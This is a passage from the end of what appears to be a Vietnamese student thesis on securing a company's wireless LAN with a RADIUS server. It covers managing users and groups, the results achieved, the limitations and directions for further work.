Ta khởi động Radius server và AP. Từ Wireless Client ta đăng nhập với user name là "User1", password "123". Trên Radius Server, ta vào Administrative Tools ➔ Event Viewer ➔ Security.

3.5. QUẢN LÝ USERS, GROUPS

3.5.1. Quản lý các users

Quản lý user bao gồm các chức năng chính như sau:

a. Reset password cho user

b. Di chuyển một tài khoản sang nơi khác

c. Thiết lập thời gian đăng nhập cho tài khoản

d. Thiết lập các thuộc tính cơ bản khác của user

3.5.2. Quản lý các groups

a. Chuyển group sang một loại group khác

b. Phân quyền user đến một group trong Active Director

c. Thiết lập các thuộc tính bảo mật cho group

d. Các thiết lập thuộc tính khác cho group

3.6. KẾT QUẢ ĐẠT ĐƯỢC

Sau khi phân tích cài đặt được giải pháp bảo mật RADIUS SERVER thì việc bảo mật WLAN trở nên tốt hơn cho công ty, chúng ta có thể quản lý các user truy cập mạng, và chứng thực nhiều AP một cách tập trung hơn. Chúng ta có thể kết hợp nhiều giải pháp bảo mật để cho việc bảo mật được tốt hơn.

KẾT LUẬN

KẾT QUẢ ĐẠT ĐƯỢC

Với việc nghiên cứu xây dựng hệ thống bảo mật mạng công ty sài gòn HT phục vụ cho việc kinh doanh của công ty, tôi đã có được các kiến thức về mạng WLAN như các ưu nhược điểm, cơ chế hoạt động, các phương thức tấn công và bảo mật WLAN, đồng thời đã xây dựng được cơ chế bảo mật cho công ty với hệ thống bảo mật cao là RADIUS SERVER.

Với sự quản lý truy cập và hệ thống mạng của các user và group, hệ thống mạng này đã ngăn chặn được các cuộc xâm nhập vào mạng trái phép của các user bằng cách thiết lập các cơ chế bảo mật cho user đó như là chặn các dịch vụ quan trọng và không cho phép các bật các tính năng quan trong như remote, ssh… để các user không có nhiều khả năng để tấn công vào mạng.

Hơn nữa chúng ta có thể dễ dàng chặn các user xâm nhập nếu có khả nghi là đang tấn công mạng bằng cách chặn truy cập vào mạng. Các user truy cập được định thời gian truy cập và mạng hệ thống, nếu ngoài thời gian thì các user này toàn bộ sẽ bị chặng login, điều này gây nhiều khó khăn cho các hacker có ý định tấn công hệ thống mạng của công ty.

RADIUS có phần overhead ít hơn so với TACACS vì nó sử dụ ng UDP.

Trong phần overhead không có địa chỉ đích, port đích nên các hacker khó có thể tấn công.

RADIUS có chức năng tính cước (accounting) mở rộng.

RADIUS thường được dùng để tính cước dựa trên tài nguyên đã sử dụng. Ví dụ như ISP sẽ tính cước cho người dùng về

chi phí kết nối.

Ta có thể cài đặt RADIUS Accounting mà không cần sử dựng RADIUS để xác thực và cấp quyền. Với chức năng accounting mở rộng, ta có thể theo dõi việc sử dụng tài nguyên của tài khoảng trong suốt phiên làm việc của tài khoản trong khi đăng nhập vào hệ thống.

Hệ thống này sẽ đem lại nhiều lợi ích cho công ty về sự bảo mật dữ liệu cũng như sự quản lý các tài khoản truy cập vào hệ thống, và các user sẽ được cấp phát quyền hạn tùy theo chức năng của user đó.

Phương pháp này đã áp dụng vào thực tế rất nhiều, và rất hiệu quả trong việc ngăn chặn sự xâm nhập trái phép. RADIUS SERVER là giải pháp không thể thiếu cho các doanh nghiệp muốn quản lý tập trung và tăng cường tính bảo mật cho hệ thống.

HẠN CHẾ

Tuy chúng ta có thể quản lý được các tài khoản truy cập song chúng ta không thể biết được user sử dụng có ý định tấn công hệ thống hay không, và tấn công bằng cách nào.

Hơn nữa, có một số RADIUS SERVER được các hãng uy tín thiết kế có tính năng bảo mật rất cao song nó có giá thành quá đắt đỏ và được tính chi phí trên các user quản lý, nếu như các công ty trung bình cỡ tầm 25 đến 30 nhân viên thì rất khó để sử dụng hệ thống mà các hãng uy tín thiết kết vì chi phí quá đắt đỏ.

Các máy muốn truy cập cần cài chức năng của máy client.

Chưa triển khai được trên hệ điều hành LINUX.

Chưa triển khai được cho mạng không dây diện rộng WMAN, WWAN.

Chưa triển khai cho đường truyền không dây tốc độ cao đó là công nghệ WireMAX.

HƯỚNG MỞ RỘNG

Chúng ta có thể xây dựng hệ thống RADIUS kết hợp với mạng riêng ảo VPN hoặc hệ thống phát hiện xâm nhập IPS để tăng cường tính bảo mật cho hệ thống WLAN của công ty.

Xây dựng ứng dụng trên hệ thống WireMax.

Ứng dụng công nghệ Smart Card trong việc bảo mật WLAN.

Nghiên cứu về công nghệ mạng wireless diện rộng WMAN (IEEE 802. 16), WWAN (IEEE 802. 20).

Tìm hiểu các yêu cầu, mô hình khi thiết kế, triển khai và bảo mật hệ thống mạng diện rộng WMAN, WWAN.

Triển khai và xây dựng RADIUS trên hệ điều hành LINUX.

Nghiên cứu xây dựng và phát hiện tấn công, xâm nhập từ user đăng nhập của hệ thống, từ đó để có thể dễ dàng quản lý hơn.